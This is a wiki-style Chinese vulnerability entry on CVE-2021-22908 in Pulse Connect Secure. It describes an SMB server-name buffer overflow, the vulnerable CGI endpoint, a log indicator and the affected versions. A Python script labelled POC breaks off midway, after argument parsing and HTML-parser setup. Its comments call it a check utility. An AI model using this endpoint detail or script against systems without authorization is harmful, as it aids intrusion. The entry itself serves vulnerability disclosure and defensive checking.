CVE-2021-22908_Pulse_Connect_Secure_任意代碼執行漏洞_zh-tw

# CVE-2021-22908 Pulse Connect Secure 任意代碼執行漏洞/zh-tw

==漏洞描述==

由於PCS支援連接到Windows文件共享(SMB)的功能由基於Samba 4.5.10的庫和輔助應用程序的CGI腳本提供。當為某些SMB操作指定一個長的伺服器名稱時,smbclt應用程式可能會由於緩衝區溢出而崩潰,具體取決於指定的伺服器名稱長度。

已經確認PCS 9.1R11.4系統存在此漏洞,目標CGI端點為/dana/fb/smb/wnf.cgi,其它CGI端點也可能會觸發此漏洞。

如果攻擊者在成功利用此漏洞後沒有進行清理,則指定一個長的伺服器名稱可能會導致如下PCS事件日誌條目:

Critical ERR31093 2021-05-24 14:05:37 - ive - [127.0.0.1] Root::System()[] - Program smbclt recently failed.

但要利用此漏洞,PCS伺服器必須有一個允許\\*的Windows文件訪問策略或允許攻擊者連接到任意伺服器的其他策略。可以在PCS的管理頁面中,查看用戶->資源策略->Windows 文件訪問策略,來查看當前的SMB策略。9.1R2及之前的PCS設備使用允許連接到任意SMB主機的默認策略,從9.1R3開始,這個策略從默認允許更改為默認拒絕。

==影響範圍==
Pulse Connect Secure 9.0RX and 9.1RX

==POC==

#!/usr/bin/env python3
# Utility to check for Pulse Connect Secure CVE-2021-22908
# https://www.kb.cert.org/vuls/id/667933

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
import argparse
import sys
from html.parser import HTMLParser
import getpass

parser = argparse.ArgumentParser(description='Pulse Connect Secure CVE-2021-22908')
parser.add_argument('host', type=str, help='PCS IP or hostname)')
parser.add_argument('-u', '--user', dest='user', type=str, help='username')
parser.add_argument('-p', '--pass', dest='password', type=str, help='password')
parser.add_argument('-r', '--realm', dest='realm', type=str, help='realm')
parser.add_argument('-d', '--dsid', dest='dsid', type=str, help='DSID')
parser.add_argument('-x', '--xsauth', dest='xsauth', type=str, help='xsauth')
parser.add_argument('-n', '--noauth', action='store_true', help='Do not authenticate. Only check for XML workaround')

args = parser.parse_args()

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

class formvaluefinder(HTMLParser):
    def __init__(self, searchval):
        super(type (self), self).__init__()
        self.searchval = searchval
    def handle_starttag(self, tag, attrs):
        if tag == 'input':
            # We're just looking for form  tags
            foundelement = False
            for attr in attrs:
                if(attr[0] == 'name'):
                    if(attr[1] == self.searchval):
                        foundelement = True
                elif(attr[0] == 'value' and foundelement == True):
                     self.data = attr[1]

class preauthfinder(HTMLParser):
    foundelement = False
    def handle_starttag(self, tag, attrs):
        if tag == 'textarea':
            # We're just looking for